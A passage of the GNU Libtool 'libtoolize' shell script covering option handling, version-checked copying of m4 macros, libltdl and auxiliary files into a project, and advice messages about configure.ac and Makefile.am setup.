opt_nonrecursive=: ;; --quiet|--automake|-q) # --automake is for 1.5 compatibility opt_quiet=: ;; --recursive) opt_recursive=: ;; --subproject) opt_subproject=: ;; # Separate non-argument short options: -c*|-f*|-i*|-n*|-q*) func_split_short_opt "$_G_opt" set dummy "$func_split_short_opt_name" \ "-$func_split_short_opt_arg" ${1+"$@"} shift ;; # An option not handled by this hook function: *) set dummy "$_G_opt" ${1+"$@"}; shift; break ;; esac done # save modified positional parameters for caller func_quote_for_eval ${1+"$@"} libtoolize_parse_options_result=$func_quote_for_eval_result } func_add_hook func_parse_options libtoolize_parse_options # libtoolize_validate_options [ARG]... # ------------------------------------ # Perform any sanity checks on option settings and/or unconsumed # arguments. libtoolize_validate_options () { # show any warnings saved by LIBTOOLIZE_OPTIONS parsing test -n "$env_warning" && func_warning environment "$env_warning" # validate $opt_nonrecursive, $opt_recursive and $opt_subproject if $opt_nonrecursive; then if $opt_recursive || $opt_subproject; then func_error "you can have at most one of --non-recursive, --recursive and --subproject" fi ltdl_mode=nonrecursive elif $opt_recursive; then $opt_subproject && func_error "you can have at most one of --non-recursive, --recursive and --subproject" ltdl_mode=recursive elif $opt_subproject; then ltdl_mode=subproject fi # any remaining arguments are an error test 0 -lt $# && func_fatal_help "unknown additional arguments: '${1+$@}'" # Pass back the empty argument list func_quote_for_eval ${1+"$@"} libtoolize_validate_options_result=$func_quote_for_eval_result } func_add_hook func_validate_options libtoolize_validate_options # Process options as early as possible so that --help and --version # can return quickly. func_options ${1+"$@"} eval set dummy "$func_options_result"; shift # func_notquiet_once MSG_VAR # -------------------------- # Call func_notquiet with the value of MSG_VAR, and then set MSG_VAR='' so # that subsequent calls will have no effect. func_notquiet_once () { $debug_cmd if test -n "$1"; then eval my_msg=\$$1 if test -n "$my_msg"; then func_notquiet "$my_msg" eval $1= fi fi } # func_notquiet_hdr MSG_VAR ARG... # -------------------------------- # With at least 1 non-empty ARG, call func_notquiet_once with MSG_VAR, # and then func_notquiet with the remaining arguments. func_notquiet_hdr () { $debug_cmd my_msg_var=$1; shift test -n "$*" || return func_notquiet_once "$my_msg_var" func_notquiet "$*" } # func_notquiet_error_hdr MSG_VAR ARG... # -------------------------------------- # Much the same as func_notquiet_header, but for (non-fatal) error # messages. func_notquiet_error_hdr () { $debug_cmd my_msg_var=$1; shift test -n "$*" || return func_notquiet_once "$my_msg_var" func_error "$*" exit_status=$EXIT_FAILURE } # func_copy FILENAME SRCDIR DESTDIR [MSG_VAR [FILTER]] # ---------------------------------------------------- # If option '--copy' was specified, or soft-linking SRCFILE to DESTFILE # fails, then try to copy SRCFILE to DESTFILE (making sure to update the # timestamp so that a series of files with dependencies can be copied # in the right order that their timestamps won't trigger rebuilds). If # FILTER is non-empty, it is a sed script to apply to SRCFILE as it is # copied. MSG_VAR names a variable for use with func_notquiet_hdr. func_copy () { $debug_cmd my_filename=$1 my_srcdir=$2 my_destdir=$3 my_msg_var=$4 my_filter=$5 my_srcfile=$my_srcdir/$my_filename my_destfile=$my_destdir/$my_filename # Libtool is probably misinstalled if this happens: test -f "$my_srcfile" || { func_notquiet_error_hdr "$my_msg_var" "'$my_srcfile' not found" return 1 } # Require --force to remove existing $my_destfile. $opt_force && $RM "$my_destfile" test -f "$my_destfile" && { func_notquiet_error_hdr "$my_msg_var" \ "'$my_destfile' exists: use '--force' to overwrite" return 1 } # Be careful to support 'func_copy dir/target srcbase destbase'. func_dirname "$my_destfile" func_mkdir_p "$func_dirname_result" # Filters always take priority. if test -n "$my_filter"; then if $opt_dry_run || $SED -e "$my_filter" "$my_srcfile" > "$my_destfile" 2>/dev/null then func_notquiet_once "$my_msg_var" if $opt_verbose; then func_notquiet "$SED -e '$my_filter' $my_srcfile > $my_destfile" else func_notquiet "creating file '$my_destfile'" fi else func_notquiet_error_hdr "$my_msg_var" "creating '$my_destfile' from '$my_srcfile' failed" return 1 fi return 0 fi # Otherwise copy or link according to '--copy' option. if $opt_copy; then my_copycmd=$CP my_copy_type=copying else my_copycmd=$LN_S my_copy_type=linking fi my_copy_msg="$my_copy_type file '$my_destfile'" $opt_verbose && my_copy_msg="$my_copycmd $my_srcfile $my_destdir" if $opt_dry_run || $my_copycmd "$my_srcfile" "$my_destfile" 2>/dev/null then func_notquiet_hdr "$my_msg_var" "$my_copy_msg" else func_notquiet_error_hdr "$my_msg_var" \ "$my_copy_type '$my_srcdir/$my_filename' to '$my_destdir/' failed" return 1 fi } # func_included_files SEARCHFILE # ------------------------------ # Output INCLUDEFILE if SEARCHFILE m4_includes it, else output SEARCHFILE. func_included_files () { $debug_cmd my_searchfile=$1 my_include_regex= my_sed_include=' /^m4_include(\[.*\])$/ { s|^m4_include(\[\(.*\)\])$|\1| p } d' if test -f "$my_searchfile"; then $ECHO "$my_searchfile" # Only recurse when we don't care if all the variables we use get # trashed, since they are in global scope. for my_filename in `$SED "$my_sed_include" "$my_searchfile"`; do func_included_files $my_filename done fi } # func_serial FILENAME [MACRO_REGEX] # ---------------------------------- # Output the value of the serial number comment in FILENAME, where the # comment line must also match MACRO_REGEX, if given. func_serial () { $debug_cmd my_filename=$1 my_macro_regex=$2 my_sed_serial=' /^# serial [1-9][0-9.]*[ ]*'"$my_macro_regex"'[ ]*$/ { s|^# serial \([1-9][0-9.]*\).*$|\1| q } d' # Search FILENAME and all the files it m4_includes for a serial number # in the file that AC_DEFUNs MACRO_REGEX. my_serial= func_dirname_and_basename "$my_filename" my_filebase=$func_basename_result for my_file in `func_included_files "$my_filename"`; do if test -z "$my_macro_regex" || test aclocal.m4 = "$my_filename" || test "X$my_macro_regex" = "X$my_filebase" || func_grep '^AC_DEFUN(\['"$my_macro_regex" "$my_file" then my_serial=`$SED -e "$my_sed_serial" "$my_file"` break fi done # If the file has no serial number, we assume it's ancient. test -n "$my_serial" || my_serial=0 $ECHO "$my_serial" } # func_serial_max SERIAL1 SERIAL2 # ------------------------------- # Compare (possibly multi-part, '.' delimited) serial numbers, and # return the largest in $func_serial_max_result. If they are the # same, func_serial_max_result will be empty. func_serial_max () { $debug_cmd my_serial1=$1 my_serial2=$2 my_sed_dot='s/\..*$//g' my_sed_rest='s/^[0-9][1-9]*\.*//' my_sed_digits='s/[^0-9.]//g' # Incase they turn out to be the same, we'll set it to empty func_serial_max_result= test "X$1$2" = X`$ECHO "$1$2" | $SED "$my_sed_digits"` || { func_error "serial numbers '$1' or '$2' contain non-digit chars" return } while test -n "$my_serial1$my_serial2"; do my_serial1_part=`$ECHO "$my_serial1" | $SED "$my_sed_dot"` my_serial2_part=`$ECHO "$my_serial2" | $SED "$my_sed_dot"` test -z "$my_serial1_part$my_serial2_part" \ && break test -z "$my_serial1_part" \ && { func_serial_max_result=$2; break; } test -z "$my_serial2_part" \ && { func_serial_max_result=$1; break; } test "$my_serial1_part" -gt "$my_serial2_part" \ && { func_serial_max_result=$1; break; } test "$my_serial2_part" -gt "$my_serial1_part" \ && { func_serial_max_result=$2; break; } my_serial1=`$ECHO "$my_serial1" | $SED "$my_sed_rest"` my_serial2=`$ECHO "$my_serial2" | $SED "$my_sed_rest"` done } # func_serial_update_check SRCFILE SRC_SERIAL DESTFILE DEST_SERIAL # ---------------------------------------------------------------- # Unless SRC_SERIAL is newer than DEST_SERIAL set $func_serial_update_check # to 'false'. func_serial_update_check () { $debug_cmd $require_ac_ltdl_dir $require_ac_macro_dir my_srcfile=$1 my_src_serial=$2 my_destfile=$3 my_dest_serial=$4 my_update_p=: if test -f "$my_destfile"; then test 0 = "$my_src_serial" && { func_warning file "no serial number on '$my_srcfile', not copying." return } # Determine whether the destination has an older serial. func_serial_max "$my_src_serial" "$my_dest_serial" test "X$my_src_serial" = "X$func_serial_max_result" || my_update_p=false test "X$my_src_serial" = "X$func_serial_max_result" \ && func_verbose "'$my_srcfile' is serial $my_src_serial, greater than $my_dest_serial in '$my_destfile'" if test "X$my_dest_serial" = "X$func_serial_max_result"; then func_verbose "'$my_srcfile' is serial $my_src_serial, less than $my_dest_serial in '$my_destfile'" $opt_force || if test -n "$ac_macro_dir$ac_ltdl_dir"; then func_error "'$my_destfile' is newer: use '--force' to overwrite" fi fi fi func_serial_update_check_result=$my_update_p } # func_aclocal_update_check FILENAME # ---------------------------------- # Unless serial number of FILENAME is newer than the matching serial number # in aclocal.m4, set $func_aclocal_update_check to 'false'. func_aclocal_update_check () { $debug_cmd my_filename=$1 my_srcfile=$aclocaldir/$1 my_destfile=aclocal.m4 case $my_filename in libtool.m4) my_src_serial=`func_serial "$my_srcfile" LT_INIT` my_dest_serial=`func_serial "$my_destfile" LT_INIT` # Strictly, this libtoolize ought not to have to deal with ancient # serial formats, but we accept them here to be complete: test 0 = "$my_src_serial" && my_src_serial=`func_serial "$my_srcfile" 'A[CM]_PROG_LIBTOOL'` test 0 = "$my_dest_serial" && my_dest_serial=`func_serial "$my_destfile" 'A[CM]_PROG_LIBTOOL'` ;; ltdl.m4) my_src_serial=`func_serial "$my_srcfile" LTDL_INIT` my_dest_serial=`func_serial "$my_destfile" LTDL_INIT` ;; *) my_src_serial=`func_serial "$my_srcfile" "$my_filename"` my_dest_serial=`func_serial "$my_destfile" "$my_filename"` ;; esac func_serial_update_check \ "$my_srcfile" "$my_src_serial" "$my_destfile" "$my_dest_serial" func_aclocal_update_check_result=$func_serial_update_check_result } # func_serial_update FILENAME SRCDIR DESTDIR [MSG_VAR] [MACRO_RE] [OLD_MACRO_RE] # ------------------------------------------------------------------------------ # Copy the FILENAME from a SRCDIR to DESTDIR provided that either FILENAME # has a newer serial number, or DESTFILE does not yet exist, or the user # specified '--force' at the command line. If given, MACRO_REGEX or # OLD_MACRO_REGEX must match any text after "# serial N" in both files. func_serial_update () { $debug_cmd my_filename=$1 my_srcdir=$2 my_destdir=$3 my_msg_var=$4 my_macro_regex=$5 my_old_macro_regex=$6 my_serial_update_p=: my_return_status=1 my_srcfile=$my_srcdir/$my_filename my_destfile=$my_destdir/$my_filename test -f "$my_srcfile" || func_fatal_error "'$my_srcfile' does not exist." if test -f "$my_destfile"; then my_src_serial=`func_serial "$my_srcfile" "$my_macro_regex"` my_dest_serial=`func_serial "$my_destfile" "$my_macro_regex"` # Strictly, this libtoolize ought not to have to deal with ancient # serial formats, but we accept them here to be complete: test 0 = "$my_src_serial" && my_src_serial=`func_serial "$my_srcfile" "$my_old_macro_regex"` test 0 = "$my_dest_serial" && my_dest_serial=`func_serial "$my_destfile" "$my_old_macro_regex"` func_serial_update_check \ "$my_srcfile" "$my_src_serial" "$my_destfile" "$my_dest_serial" my_serial_update_p=$func_serial_update_check_result fi if $my_serial_update_p || $opt_force; then $RM "$my_destfile" func_copy "$my_filename" "$my_srcdir" "$my_destdir" "$my_msg_var" my_return_status=$? elif $opt_force && test "X$my_dest_serial" = "X$my_src_serial"; then func_notquiet_hdr "$my_msg_var" "'$my_destfile' is already up to date." fi # Do this after the copy for hand maintained 'aclocal.m4', incase # it has 'm4_include([DESTFILE])', so the copy effectively already # updated 'aclocal.m4'. my_included_files=`func_included_files aclocal.m4` case `echo " "$my_included_files" "` in # Skip included files: *" $my_destfile "*) ;; # Otherwise compare to aclocal.m4 serial number (func_serial # returns 0 for older macro serial numbers before we provided # serial tags, so the update message will be correctly given # if aclocal.m4 contains an untagged --i.e older-- macro file): *) if test -f aclocal.m4; then func_serial_max \ "$my_src_serial" `func_serial aclocal.m4 "$my_macro_regex"` if test "X$my_src_serial" = "X$func_serial_max_result"; then func_notquiet_hdr "$my_msg_var" \ "You should add the contents of '$my_destfile' to 'aclocal.m4'." fi fi ;; esac return $my_return_status } # func_keyword_update FILENAME SRCDIR DESTDIR SED_SCRIPT [MSG_VAR] # ---------------------------------------------------------------- # Copy the FILENAME from a SRCDIR to DESTDIR provided that either FILENAME # has a newer revision according to the serial number extracted by # SED_SCRIPT, or DESTFILE does not yet exist, or the user specified # '--force' at the command line. func_keyword_update () { $debug_cmd my_filename=$1 my_srcdir=$2 my_destdir=$3 my_sed_script=$4 my_msg_var=$5 my_srcfile=$my_srcdir/$my_filename my_destfile=$my_destdir/$my_filename my_keyword_update_p=: test -f "$my_srcfile" || func_fatal_error "'$my_srcfile' does not exist." if test -f "$my_destfile"; then my_src_serial=`$SED -e "$my_sed_script" "$my_srcfile"` test -z "$my_src_serial" && { func_warning file "no serial number in '$my_srcfile', not copying." return } my_dest_serial=`$SED -e "$my_sed_script" "$my_destfile"` test -n "$my_dest_serial" || my_dest_serial=0 func_serial_update_check \ "$my_srcfile" "$my_src_serial" "$my_destfile" "$my_dest_serial" my_keyword_update_p=$func_serial_update_check_result fi if $my_keyword_update_p || $opt_force; then $RM "$my_destfile" func_copy "$my_filename" "$my_srcdir" "$my_destdir" "$my_msg_var" elif $opt_verbose || $opt_force && test "X$my_dest_serial" = "X$my_src_serial"; then func_notquiet_hdr "$my_msg_var" "'$my_destfile' is already up to date." fi } # func_ltmain_update FILENAME SRCDIR DESTDIR [MSG_VAR] # ---------------------------------------------------- # Copy the FILENAME from a SRCDIR to DESTDIR provided that either FILENAME # has a newer revision, or DESTFILE does not yet exist, or the user # specified '--force' at the command line. func_ltmain_update () { $debug_cmd my_sed_ltmain=' /^package_revision='\''*[0-9][1-9.]*'\''*/ { s|^package_revision='\''*\([0-9.]*\)'\''*[ ]*$|\1| p } d' func_keyword_update "$1" "$2" "$3" "$my_sed_ltmain" "$4" return $my_return_status } # func_config_update FILENAME SRCDIR DESTDIR [MSG_VAR] # ---------------------------------------------------- # Copy the FILENAME from a SRCDIR to DESTDIR provided that either FILENAME # has a newer timestamp, or DESTFILE does not yet exist, or the user # specified '--force' at the command line. func_config_update () { $debug_cmd my_sed_config=' /^timestamp='\''*[0-9][1-9-]*'\''*/ { s|^timestamp='\''*\([0-9-]*\)'\''*|\1| s|-|.|g p } d' func_keyword_update "$1" "$2" "$3" "$my_sed_config" "$4" return $my_return_status } # func_install_update FILENAME SRCDIR DESTDIR [MSG_VAR] # ----------------------------------------------------- # Copy the FILENAME from a SRCDIR to DESTDIR provided that either FILENAME # has a newer timestamp, or DESTFILE does not yet exist, or the user # specified '--force' at the command line. func_install_update () { $debug_cmd my_sed_install=' /^scriptversion='\''*[0-9][1-9.-]*'\''*/ { s|[#;].*|| s|^scriptversion='\''*\([0-9.-]*\)'\''*|\1| s|-|.|g p } d' func_keyword_update "$1" "$2" "$3" "$my_sed_install" "$4" return $my_return_status } # func_install_pkgmacro_files # --------------------------- # Install copies of the libtool and libltdl m4 macros into this package. func_install_pkgmacro_files () { $debug_cmd $require_ac_macro_dir $require_am_macro_dir $require_ltdl_mode $require_macro_dir $opt_ltdl || test -n "$ac_macro_dir$am_macro_dir" || return # Remove any lingering files that my have been installed by some # previous libtoolize release: $opt_force && for file in $all_pkgmacro_files; do test -f "$macro_dir/$file" && func_verbose "rm -f '$macro_dir/$file'" rm -f "$macro_dir/$file" done # Install the libltdl autoconf macros to this project's source tree. $opt_quiet || if test -n "$ac_macro_dir"; then my_pkgmacro_header="putting macros in AC_CONFIG_MACRO_DIRS, '$ac_macro_dir'." else my_pkgmacro_header="putting macros in '$macro_dir'." fi for file in $pkgmacro_files; do case $file in libtool.m4) func_serial_update "$file" "$aclocaldir" "$macro_dir" \ my_pkgmacro_header LT_INIT 'A[CM]_PROG_LIBTOOL' ;; ltdl.m4) if $opt_ltdl; then func_serial_update "$file" "$aclocaldir" "$macro_dir" \ my_pkgmacro_header 'LTDL_INIT' else func_verbose "Not copying '$macro_dir/$file', libltdl not used." fi ;; ltoptions.m4|ltsugar.m4|ltversion.m4|lt~obsolete.m4) func_serial_update "$file" "$aclocaldir" "$macro_dir" \ my_pkgmacro_header "$file" ;; *) if $opt_ltdl; then func_serial_update "$file" "$aclocaldir" "$macro_dir" \ my_pkgmacro_header "$file" else func_verbose "Not copying '$macro_dir/$file', libltdl not used." fi ;; esac done } # func_install_pkgltdl_files # -------------------------- # Install copies of the libltdl files into this package. Any auxiliary # or m4 macro files needed in the libltdl tree will also be copied by # func_install_pkgaux_files and func_install_pkgmacro_files resp. func_install_pkgltdl_files () { $debug_cmd $opt_ltdl || return $require_ac_ltdl_dir $require_ltdl_dir $require_ltdl_mode # Remove any lingering files that my have been installed by some # previous libtoolize release: $opt_force && for file in $all_pkgltdl_files; do test -f "$ltdl_dir/$file" && func_verbose "rm -f '$ltdl_dir/$file'" rm -f "$ltdl_dir/$file" done # Copy all the files from installed libltdl to this project, if the # user specified '--ltdl'. $opt_quiet || if test -n "$ac_ltdl_dir"; then pkgltdl_header="putting libltdl files in LT_CONFIG_LTDL_DIR, '$ac_ltdl_dir'." else pkgltdl_header="putting libltdl files in '$ltdl_dir'." fi $require_filter_Makefile_am $require_filter_ltdl_mk # Copy ltdl sources appropriate to the requested ltdl_mode. for file in $pkgltdl_files; do my_copy_filter= case $file in Makefile.am|Makefile.in) test nonrecursive = "$ltdl_mode" && continue my_copy_filter=$filter_Makefile_am ;; ltdl.mk) test nonrecursive = "$ltdl_mode" || continue my_copy_filter=$filter_ltdl_mk ;; aclocal.m4) test subproject = "$ltdl_mode" && { $require_filter_aclocal_m4 # Always copy aclocal.m4, otherwise regenerating it can # overwrite the destination if it is symlinked. ( opt_copy=: func_copy "$file" "$pkgltdldir" "$ltdl_dir" \ pkgltdl_header "$filter_aclocal_m4" ) } continue ;; config-h.in) test subproject = "$ltdl_mode" || continue ;; configure) test subproject = "$ltdl_mode" && { $require_filter_configure_ac # Always copy configure, otherwise regenerating it can # overwrite the destination if it is symlinked. ( opt_copy=: func_copy "$file" "$pkgltdldir" "$ltdl_dir" \ pkgltdl_header "$filter_configure_ac" ) } continue ;; configure.ac) test subproject = "$ltdl_mode" || continue $require_filter_configure_ac my_copy_filter=$filter_configure_ac ;; esac # Still here? Copy the file then, with selected filters. func_copy "$file" "$pkgltdldir" "$ltdl_dir" \ pkgltdl_header "$my_copy_filter" # FIXME: Remove in 2013 # (along with deprecation warning in func_check_macros) test ltdl.mk = "$file" \ && func_grep "^-\?include $ltdl_dir/Makefile.inc\$" Makefile.am \ && mv "$ltdl_dir/$file" "$ltdl_dir/Makefile.inc" \ && func_notquiet "renaming file '$ltdl_dir/Makefile.inc'" done } # func_install_pkgaux_files # ------------------------- # Install copies of the auxiliary files into this package according to # the whether libltdl is included as a subproject, and whether the parent # shares the AC_CONFIG_AUX_DIR setting. func_install_pkgaux_files () { $debug_cmd $require_ac_aux_dir $require_aux_dir $require_configure_ac $require_ltdl_mode # Remove any lingering files that my have been installed by some # previous libtoolize release: $opt_force && for file in $all_pkgaux_files; do test -f "$aux_dir/$file" && func_verbose "rm -f '$aux_dir/$file'" rm -f "$aux_dir/$file" done if test -n "$ac_aux_dir"; then pkgaux_header="putting auxiliary files in AC_CONFIG_AUX_DIR, '$ac_aux_dir'." else pkgaux_header="putting auxiliary files in '$aux_dir'." fi for file in $pkgaux_files; do case $file in config.guess|config.sub) $opt_install || test subproject = "$ltdl_mode" || continue func_config_update "$file" "$pkgauxdir" "$aux_dir" pkgaux_header ;; install-sh) $opt_install || test subproject = "$ltdl_mode" || continue func_install_update "$file" "$pkgauxdir" "$aux_dir" pkgaux_header ;; ltmain.sh) func_ltmain_update "$file" "$pkgauxdir" "$aux_dir" pkgaux_header ;; *) test subproject = "$ltdl_mode" || continue func_copy "$file" "$pkgauxdir" "$aux_dir" pkgaux_header ;; esac done # If the parent project is using Autoconf and linking with Libtool, # even if subproject libltdl already has a copy, the parent project # will still need to build libtool for its own purposes, and might # need another copy of ltmain.sh if the parent didn't declare an # AC_CONFIG_AUX_DIR. pkgaux_hdr="putting another copy of auxiliary files in '.'" test -f "$configure_ac" \ && test -z "$ac_aux_dir" \ && test subproject = "$ltdl_mode" \ && test "$aux_dir" = "$ltdl_dir" \ && func_ltmain_update "$file" "$pkgauxdir" . pkgaux_hdr # FIXME: Remove in 2013. # Very old parent projects using 'libtoolize --install --ltdl', and # a top-level $configure_ac to build the ltdl subproject, but not # using Automake themselves, might still be relying on the old # behaviour of libtoolize to put a second copy of some 'Auxiliary # Programs' needed by the top-level configure (instead of using # the recommended method: 'automake --add-missing'). test -f "$configure_ac" \ && test subproject = "$ltdl_mode" \ && test "$aux_dir" = "$ltdl_dir" \ && func_config_update config.guess "$pkgauxdir" . pkgaux_hdr \ && func_config_update config.sub "$pkgauxdir" . pkgaux_hdr \ && func_install_update install-sh "$pkgauxdir" . pkgaux_hdr } # func_nonemptydir_p DIRVAR # ------------------------- # DIRVAR is the name of a variable to evaluate. Unless DIRVAR names # a directory that exists and is non-empty abort with a diagnostic. func_nonemptydir_p () { $debug_cmd my_dirvar=$1 my_dir=`eval echo "\\\$$my_dirvar"` # Is it a directory at all? test -d "$my_dir" \ || func_fatal_error "\$$my_dirvar is not a directory: '$my_dir'" # check that the directories contents can be ls'ed test -n "`{ cd $my_dir && ls; } 2>/dev/null`" \ || func_fatal_error "cannot list files: '$my_dir'" } # func_check_macros # ----------------- # Sanity check macros from aclocal.m4 against installed versions. func_check_macros () { $debug_cmd $require_ac_ltdl_dir $require_ac_macro_dir $require_am_macro_dir $require_aux_dir $require_configure_ac $require_ltdl_dir $require_ltdl_mode $require_macro_dir $require_seen_ltdl $require_seen_libtool $opt_quiet && return test -n "$configure_ac" || return ac_config_macro_dir_advised=false if test -z "$ac_macro_dir$am_macro_dir"; then my_missing= for file in $pkgmacro_files; do case $file in ltargz.m4|ltdl.m4) $opt_ltdl || continue ;; esac if test -f "aclocal.m4"; then func_aclocal_update_check $file $func_aclocal_update_check_result || continue fi my_missing="$my_missing $file" done if test -n "$my_missing"; then func_echo "You should add the contents of the following files to 'aclocal.m4':" for need in $my_missing; do func_echo " '$aclocaldir/$need'" done fi fi ## ---------------------------------------------------------- ## ## Since we return early here when --no-warn was given: ## ## DO NOT PUT ANYTHING BUT UPGRADE ADVICE MESSAGES BELOW HERE ## ## ---------------------------------------------------------- ## test " none" = "$opt_warning_types" && return $seen_libtool || func_echo "Remember to add 'LT_INIT' to $configure_ac." # Suggest using LTDL_INIT if appropriate: $opt_ltdl && if test : != "$seen_ltdl"; then case $ltdl_mode in subproject) ltdl_init_args= ;; *) ltdl_init_args="([$ltdl_mode])" ;; esac func_echo "Remember to add 'LTDL_INIT$ltdl_init_args' to $configure_ac." fi if $opt_ltdl; then # Remind the user to call LT_CONFIG_LTDL_DIR: test -n "$ac_ltdl_dir" || func_echo "Remember to add 'LT_CONFIG_LTDL_DIR([$ltdl_dir])' to '$configure_ac'." # For nonrecursive mode, warn about continued use of Makefile.inc: # FIXME: Remove in 2013 # (along with last minute rename in func_install_pkgltdl_files) if test nonrecursive = "$ltdl_mode"; then if func_grep "^-\?include $ltdl_dir/Makefile.inc\$" Makefile.am; then func_error "Use of 'include $ltdl_dir/Makefile.inc' is deprecated!" func_echo "Consider updating to use of 'include $ltdl_dir/ltdl.mk' in Makefile.am." fi fi fi # Suggest modern idioms for storing autoconf macros: $ac_config_macro_dir_advised || if test -z "$macro_dir" || test . = "$macro_dir"; then func_echo "Consider adding 'AC_CONFIG_MACRO_DIRS([m4])' to $configure_ac and" func_echo "rerunning $progname, to keep the correct libtool macros in-tree." ac_config_macro_dir_advised=: elif test -z "$ac_macro_dir"; then func_echo "Consider adding 'AC_CONFIG_MACRO_DIRS([$macro_dir])' to $configure_ac," func_echo "and rerunning $progname and aclocal." ac_config_macro_dir_advised=: fi if test -z "$am_macro_dir$ac_macro_dir"; then func_echo "Consider adding '-I m4' to ACLOCAL_AMFLAGS in Makefile.am." elif test -z "$am_macro_dir"; then func_echo "Consider adding '-I $macro_dir' to ACLOCAL_AMFLAGS in Makefile.am." fi # Don't trace for this, we're just checking the user didn't invoke it # directly from configure.ac. $SED 's|dnl .*$||; s|# .*$||' "$configure_ac" | $GREP AC_PROG_RANLIB >/dev/null && func_echo "'AC_PROG_RANLIB' is rendered obsolete by 'LT_INIT'" # FIXME: Ensure ltmain.sh, libtool.m4 and ltdl.m4 are from the same release } ## ------------------## ## Helper functions. ## ## ------------------## # This section contains the helper functions used by the rest of # this script. # func_autoconf_configure MAYBE-CONFIGURE-FILE # -------------------------------------------- # Ensure that MAYBE-CONFIGURE-FILE is the name of a file in the current # directory that contains an uncommented call to AC_INIT. func_autoconf_configure () { $debug_cmd _G_sed_no_comment='s|#.*$||; s|^dnl .*$||; s| dnl .*$||;' _G_ac_init= # If we were passed a genuine file, make sure it calls AC_INIT. test -f "$1" \ && _G_ac_init=`$SED "$_G_sed_no_comment" "$1" |$GREP AC_INIT` # Otherwise it is not a genuine Autoconf input file. test -n "$_G_ac_init" _G_status=$? test 0 -ne "$_G_status" \ && func_verbose "'$1' not using Autoconf" (exit $_G_status) } # func_make_relative_dir_filter CURRDIR SRCDIR DESTDIR [PREFIX [SUFFIX]] # ---------------------------------------------------------------------- # Make a sed script suitable for appending to a copy filter, which will # replace occurrences of CURRDIR with the relative path from SRCDIR to # DESTDIR if they are different, otherwise the result is the empty # string: # # func_make_relative_dir_filter ltdl config ../build-aux # => 's|\.\./build-aux|../config|g' # func_make_relative_dir_filter ltdl ltdl/m4 ../m4 # => 's|\.\./m4|m4|g' # func_make_relative_dir_filter libltdl build-aux ../build-aux # => '' # # If PREFIX (and SUFFIX) are passed they are prepended (and appended) # to the match and replacement expressions literally: # # func_make_relative_dir_filter ltdl ltdl/m4 ../m4 '-I ' ' ' # => 's|-I \.\./m4 |-I m4 |g' func_make_relative_dir_filter () { $debug_cmd my_currdir=$1 my_srcdir=$2 my_destdir=$3 func_relative_path "$my_srcdir" "$my_destdir" if test "$my_currdir" = "$func_relative_path_result"; then func_make_relative_dir_filter_result= else my_match_currdir=`$ECHO "$my_currdir" |$SED "$sed_make_literal_regex"` # Avoid substituting with 'dir/./file' when current dir is '.'. if test . = "$my_currdir"; then func_make_relative_dir_filter_result=" s|$4$my_match_currdir/$5|$4$5|g" else func_make_relative_dir_filter_result=" s|$4$my_match_currdir$5|$4$func_relative_path_result$5|g" fi fi } # func_make_relative_ltdl_filter CURRDIR DESTDIR [PREFIX [SUFFIX]] # ---------------------------------------------------------------- # As 'func_make_relative_dir_filter' optimised for the common case where # SRCDIR is '$ltdl_dir'. func_make_relative_ltdl_filter () { $debug_cmd $require_ltdl_dir func_make_relative_dir_filter "$1" "$ltdl_dir" "$2" "$3" "$4" func_make_relative_ltdl_filter_result=$func_make_relative_dir_filter_result } ## -------------------- ## ## Resource management. ## ## -------------------- ## # This section contains definitions for functions that each ensure a # particular resource (a file, or a non-empty configuration variable for # example) is available, and if appropriate to extract default values # from pertinent package files. Where a variable already has a non- # empty value (as set by the package's 'bootstrap.conf'), that value is # used in preference to deriving the default. Call them using their # associated 'require_*' variable to ensure that they are executed, at # most, once. # # Some of the require functions are very similar, so we generate those # as this file is sourced. They look complicated, but they are the same # as normal function declarations wrapped in "eval '<definition>'", so # that embedded single quotes need to be escaped, and wherever a symbol # is generated, we drop out of the single quotes and expand a variable # that holds the symbol. # # After that, the rest appear in asciibetical order. for base in '' ltdl_; do if test ltdl_ = "$base"; then p='$pkgltdldir/'; else p=; fi # require_Makefile_am # require_ltdl_Makefile_am # ------------------------ # If not already set, set Makefile_am to 'Makefile.am' if that file is # present in the current directory, and similarly for # '$pkgltdldir/Makefile.am'. r=${base}Makefile_am v=require_$r f=func_$v eval $v'='$f' '$f' () { $debug_cmd test -n "$'$r'" || '$r'='$p'Makefile.am if test -f "$'$r'"; then func_verbose "found '\'\$$r\''" else '$r'= fi '$v'=: }' o=$r # require_aclocal_amflags # require_ltdl_aclocal_amflags # ---------------------------- # Extract '$aclocal_amflags' from 'Makefile.am' if present, and # similarly for 'libltdl/Makefile.am'. r=${base}aclocal_amflags v=require_$r f=func_$v eval $v'='$f' '$f' () { $debug_cmd $require_'$o' test -n "$'$o'" && { _G_sed_extract_aclocal_amflags='\''s|#.*$|| /^[ ]*ACLOCAL_AMFLAGS[ ]*=/ { s|^.*=[ ]*\(.*\)|'$r'="\1"| p }'\'' _G_aclocal_flags_cmd=`$SED -n "$_G_sed_extract_aclocal_amflags" \ "$'$o'"` eval "$_G_aclocal_flags_cmd" test -n "$'$r'" && func_verbose "'$r'='\$$r\''" } '$v'=: }' o=$r # require_am_macro_dir # require_ltdl_am_macro_dir # ------------------------- # Set am_macro_dir to the first directory specified in # ACLOCAL_AMFLAGS from 'Makefile.am', and similarly for # 'libltdl/Makefile.am'. r=${base}am_macro_dir v=require_$r f=func_$v eval $v'='$f' '$f' () { $debug_cmd $require_'$o' _G_minus_I_seen=false for _G_arg in $'$o'; do case $_G_minus_I_seen,$_G_arg in :,*) '$r'=$_G_arg; break ;; *,-I) _G_minus_I_seen=: ;; *,-I*) '$r'=`expr x$_G_arg : '\''x-I\(.*\)$'\''`; break ;; esac done test -n "$'$r'" && func_verbose "'$r'='\'\$$r\''" '$v'=: }' o=$r done # require_ac_aux_dir # ------------------ # Extract ac_aux_dir from AC_CONFIG_AUX_DIR. require_ac_aux_dir=func_require_ac_aux_dir func_require_ac_aux_dir () { $debug_cmd $require_configure_ac test -n "$configure_ac" && { func_extract_trace_first AC_CONFIG_AUX_DIR ac_aux_dir=$func_extract_trace_first_result case $ac_aux_dir in *\$*) func_fatal_error "\ cannot expand unknown variable in AC_CONFIG_AUX_DIR argument." ;; esac } test -n "$ac_aux_dir" && func_verbose "ac_aux_dir='$ac_aux_dir'" require_ac_aux_dir=: } # require_ac_ltdl_dir # ------------------- # Extract ac_ltdl_dir from LT_CONFIG_LTDL_DIR. require_ac_ltdl_dir=func_require_ac_ltdl_dir func_require_ac_ltdl_dir () { $debug_cmd $require_configure_ac if test -n "$configure_ac"; then func_extract_trace_first LT_CONFIG_LTDL_DIR ac_ltdl_dir=$func_extract_trace_first_result case $ac_ltdl_dir in *\$*) func_fatal_error "\ cannot expand unknown variable in 